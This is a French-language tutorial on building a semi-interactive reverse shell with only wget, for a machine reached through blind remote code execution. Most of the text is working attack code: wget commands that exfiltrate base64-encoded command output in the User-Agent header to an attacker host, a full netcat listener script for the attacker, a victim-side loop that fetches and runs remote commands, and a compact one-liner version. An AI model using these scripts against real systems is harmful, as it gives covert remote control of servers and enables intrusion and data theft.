Construction d'un reverse shell semi-interactif avec wget
Récemment, j’ai eu besoin de créer un reverse shell à partir d’une machine sur laquelle je savais que j’avais une exécution de code à distance (RCE), mais sans aucune sortie. Comme cette machine était assez ancienne, elle n’avait pas installé bash
, python
, nc
, perl
, ruby
ou gcc
, donc faire fonctionner un reverse shell classique était assez pénible. Je savais que j’avais une exécution de code à distance en aveugle sur le serveur (via une application Web) mais je n’avais aucun moyen d’exfiltrer les résultats de l’exécution de la commande.
Comme j’étais déterminé à obtenir un reverse shell sur cette machine, j’ai commencé à étudier ce dont j’aurais besoin pour créer un reverse shell et j’ai décidé d’en créer un en utilisant wget
.
Construction d’une liaison montante
Tout d’abord, nous devons créer une liaison montante pour récupérer les résultats de la commande depuis la machine victime.
IP="127.0.0.1";
PORT=4444;
wget "http://$IP:$PORT" -q \
-O- \
--user-agent="$(id 2>&1)" \
--output-file=/dev/null
Dans notre écouteur netcat
, nous avons reçu la requête, avec le résultat de la commande exfiltrée dans l’en-tête User-Agent
:
GET / HTTP/1.1
User-Agent: uid=1000(poc) gid=1000(poc) groups=1000(poc)
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive
Maintenant que nous avons une preuve de concept fonctionnelle pour l’exfiltration de données, nous devons nous assurer que cela ne gâchera pas la demande. Par exemple, si nous essayons de mettre le résultat de ls -lha
, nous aurons la requête suivante:
GET / HTTP/1.1
User-Agent: $ total 84K
drwxrwxr-x 2 hermes hermes 4,0K mai 12 10:19 .
drwxrwxrwt 26 root root 76K mai 12 10:19 ..
-rw-rw-r-- 1 hermes hermes 0 mai 12 10:19 file1
-rw-rw-r-- 1 hermes hermes 0 mai 12 10:19 file2
-rw-rw-r-- 1 hermes hermes 0 mai 12 10:19 file3
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive
Ce ne sera pas une requête HTTP valide, à cause du User-Agent
multiligne. Par conséquent, nous allons simplement encoder la réponse à la commande en base64 comme ceci:
IP="127.0.0.1";
PORT=4444;
wget "http://$IP:$PORT" -q \
-O- \
--user-agent="$(ls -lha 2>&1|base64 -w0)" \
--output-file=/dev/null
Cela nous donne la requête HTTP valide suivante:
GET / HTTP/1.1
User-Agent: dG90YWwgODRLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCmRyd3hyd3hyLXggIDIgaGVybWVzIGhlcm1lcyA0LDBLIG1haSAgIDEyIDEwOjE5IC4KZHJ3eHJ3eHJ3dCAyNiByb290ICAgcm9vdCAgICA3NksgbWFpICAgMTIgMTA6MTkgLi4KLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTEKLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTIKLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTMK
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive
Nous pouvons maintenant l’utiliser pour créer une coque inversée complète! Pour ce faire, nous allons créer deux boucles:
-
Du côté du serveur victime, nous utiliserons une boucle
while true
en attendant qu’une nouvelle commande soit exécutée. Lorsqu’il reçoit une commande, il l’exécute et renvoie la réponse sous forme de chaîne base64 dans l’en-tête HTTPUser-Agent
. -
Du côté de l’attaquant, nous utiliserons une lecture en boucle
while true
pour les données d’entrée sur l’invite de commande. Lorsqu’une nouvelle commande est entrée, elle est envoyée au serveur victime et attend le résultat. Le résultat de la commande sera imprimé.
Nous pouvons voir les requêtes HTTP du reverse shell en utilisant WireShark:
Dans la section suivante, je présenterai une première version fonctionnelle complète.
Première version fonctionnelle
Dépendances
-
Sur la machine cible :
wget
,base64
-
Sur la machine d’attaque :
wget
,nc
,grep
,awk
,cat
,xxd
,head
Listenner sur la machine d’attaque
Vous devez lancer ce listenner sur votre machine d’attaque. La machine cible se reconnectera à vous et vous obtiendrez un shell interactif grâce à ce script.
#!/usr/bin/env bash
CMD_SEND_PORT=8080
CMD_REPLY_PORT=8081
#===============================================================================
log() { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
remote_exec(){
local CMD="${1}"
echo "${CMD}" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
RESULT="$(nc -w 1 -lp ${CMD_REPLY_PORT} | grep "User-Agent:" | awk '{split($0,a,"User-Agent: "); print a[2]}' | base64 -i -d)"
echo "${RESULT}"
}
wait_for_connection(){
log "Waiting for incomming connection ..."
local challenge="$(cat /dev/urandom | xxd -p | head -c 16)"
local challenge_solved="$(echo "${challenge}" | base64 -w0)"
waiting=1
while [[ ${waiting} == 1 ]]; do
local response="$(remote_exec "echo ${challenge} | base64 -w0")"
if [[ $(echo "${response}" | grep "${challenge_solved}" | wc -l) -ne 0 ]]; then
log "Validated ! proof : base64(${challenge})==${response}"
waiting=0
else
echo "${response}"
fi
done
info "Connected ! (interactive shell incomming)"
}
get_sys_info(){
echo ""
echo " Hostname : $(remote_exec "hostname")"
echo " Kernel : $(remote_exec "uname -sr")"
echo " Arch : $(remote_exec "uname -p")"
echo ""
}
#===============================================================================
wait_for_connection
# get_sys_info
PROMPT="[\x1b[93m$(remote_exec 'whoami')\x1b[0m@\x1b[92m$(remote_exec 'hostname')\x1b[0m]: "
RUNNING=1
while [[ $RUNNING == 1 ]]; do
printf "${PROMPT}"; read
if [[ "${REPLY}" == "exit" ]]; then
echo "exit" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
RUNNING=0
else
echo "$(remote_exec "${REPLY}")"
fi
done
Reverse shell sur la machine cible
Sur la machine victime, nous n’avons besoin que des binaires wget
et base64
, et de ce simple script bash:
#!/usr/bin/env bash
REV_IP='localhost'
CMD_RECV_PORT=8080
CMD_REPLY_PORT=8081
RUNNING=1
while [[ $RUNNING == 1 ]]; do
CMD=$(wget -q "http://${REV_IP}:${CMD_RECV_PORT}" -O- --output-file=/dev/null 2>/dev/null)
if [[ ${CMD} != "" ]]; then
if [[ ${CMD} == "exit" ]]; then
RUNNING=0
else
sleep 0.125
wget \
"http://${REV_IP}:${CMD_REPLY_PORT}" \
--output-file=/dev/null \
--user-agent="$(${CMD} 2>&1 | base64 -w0)"\
2>/dev/null
fi
fi
done
Version compacte
Maintenant que nous avons une première version fonctionnelle, voici une version compacte de ce reverse shell wget
:
IP="1.2.3.4";D=8080;U=8081
while true; do sleep 0.125; wget "http://${IP}:${U}" -o /dev/null -U "$($(wget -q "http://${IP}:${D}" -O- -o /dev/null 2>/dev/null) 2>&1 | base64 -w0)" 2>/dev/null; done